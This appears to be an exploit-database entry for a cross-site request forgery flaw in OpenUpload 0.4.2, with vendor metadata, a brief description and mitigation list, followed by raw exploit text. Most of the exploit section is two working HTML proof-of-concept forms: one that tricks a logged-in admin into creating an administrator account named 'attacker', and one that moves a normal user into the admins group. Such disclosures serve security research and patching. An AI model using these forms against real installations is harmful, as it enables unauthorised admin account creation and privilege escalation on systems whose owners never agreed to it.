Open Upload 0.4.2 Remote Admin Add CSRF Exploit and Changing Normal user permission

vendor:

OpenUpload

by:

Vinesh Redkar

8,8

CVSS

HIGH

CSRF Attack

352

CWE

Product Name: OpenUpload

Affected Version From: 0.4.2

Affected Version To: 0.4.2

Patch Exists: No

Related CWE: N/A

CPE: a:openupload:openupload

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 10

2016

Open Upload 0.4.2 Remote Admin Add CSRF Exploit and Changing Normal user permission

Open Upload Application is vulnerable to CSRF attack (No CSRF token in place) meaning that if an admin user can be tricked to visit a crafted URL created by attacker (via spear phishing/social engineering). Once exploited, the attacker can login as the admin using the username and the password he posted in the form.

Mitigation:

1. Implement CSRF tokens in the application. 2. Implement proper access control. 3. Implement proper authentication and authorization.

Source

Exploit-DB raw data:

================================================================================================================
Open Upload 0.4.2 Remote Admin Add CSRF Exploit and Changing Normal user permission
================================================================================================================
# Exploit Title		: Open Upload 0.4.2 Remote Admin Add CSRF Exploit
# Exploit Author	: Vinesh Redkar (@b0rn2pwn) 
# Email      		: vineshredkar89[at]gmail[d0t]com
# Date: 21/07/2016
# Vendor Homepage: http://openupload.sourceforge.net/
# Software Link: https://sourceforge.net/projects/openupload/
# Version: 0.4.2
# Tested on: Windows 10 OS
 
Open Upload Application is vulnerable to CSRF attack (No CSRF token in place) meaning
that if an admin user can be tricked to visit a crafted URL created by
attacker (via spear phishing/social engineering).

Once exploited, the attacker can login as the admin using the username and the password he posted in the form.

======================CSRF POC (Adding New user with Admin Privileges)==================================
CSRF PoC Code
<html>
<head>
<title>Remote Admin Add CSRF Exploit</title>
</head>
<H2>Remote Admin Add CSRF Exploit by b0rn2pwn</H2>
  <body>
    <form action="http://127.0.0.1/openupload/index.php" method="POST">
      <input type="hidden" name="action" value="adminusers" />
      <input type="hidden" name="step" value="2" />
      <input type="hidden" name="adduserlogin" value="attacker" />
      <input type="hidden" name="adduserpassword" value="attacker" />
      <input type="hidden" name="adduserrepassword" value="attacker" />
      <input type="hidden" name="addusername" value="attacker" />
      <input type="hidden" name="adduseremail" value="attacker&#64;gmail&#46;com" />
      <input type="hidden" name="addusergroup" value="admins" />
      <input type="hidden" name="adduserlang" value="en" />
      <input type="hidden" name="adduseractive" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

======================CSRF POC (Changing privileges from normal user to administer)==================================

<html>
<head>
<title>Change privilege normal user to administer CSRF Exploit</title>
</head>
<H2>Change privilege normal user to administer CSRF Exploit by b0rn2pwn</H2>
  <body>
    <form action="http://127.0.0.1/openupload/index.php" method="POST">
      <input type="hidden" name="action" value="adminusers" />
      <input type="hidden" name="step" value="3" />
      <input type="hidden" name="login" value="normal user" />
      <input type="hidden" name="edituserpassword" value="" />
      <input type="hidden" name="edituserrepassword" value="" />
      <input type="hidden" name="editusername" value="normaluser" />
      <input type="hidden" name="edituseremail" value="normaluser&#64;gmail&#46;com" />
      <input type="hidden" name="editusergroup" value="admins" />
      <input type="hidden" name="edituserlang" value="en" />
      <input type="hidden" name="edituseractive" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>